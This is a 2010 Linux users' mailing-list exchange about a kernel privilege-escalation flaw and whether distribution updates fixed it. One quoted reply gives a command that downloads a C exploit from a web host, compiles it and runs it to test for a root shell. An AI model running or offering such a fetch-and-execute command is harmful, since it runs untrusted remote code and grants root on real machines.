Re: [tlug] Linux Kernel Exploit News

[CL <az.4tlug@example.com>]

On 09/23/2010 12:36 PM, Kalin KOZHUHAROV wrote:
> On Thu, Sep 23, 2010 at 10:33, CL<az.4tlug@example.com>  wrote:

> > I have not applied the patch as it appears to be an enterprise problem
> > more than an individual PC one.  Maybe people who know more could comment.
> It is not "enterprise problem, pretty much any recent 64bit kernel was
> affected... Get yourself one of the latest stable (released 1-2d ago).

All of the *buntus updated their kernel a couple of days back.  Are you 
saying that fixed this problem?  I find it hard to believe that even ZD 
would be _that_ far behind the curve.

> If you want to check whether your system is affected, as a normal user do:
>
> $ wget -q http://thinrope.net/s/robert_you_suck.c -O - |gcc -x c -o
> r00t -&&  ./r00t
>
> If you get a root shell, guess what - YOU ARE affected.

It says:

(.text+0x20): undefined reference to `main'
collect2: ld returned 1 exit status

So, I guess I am not got.

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CL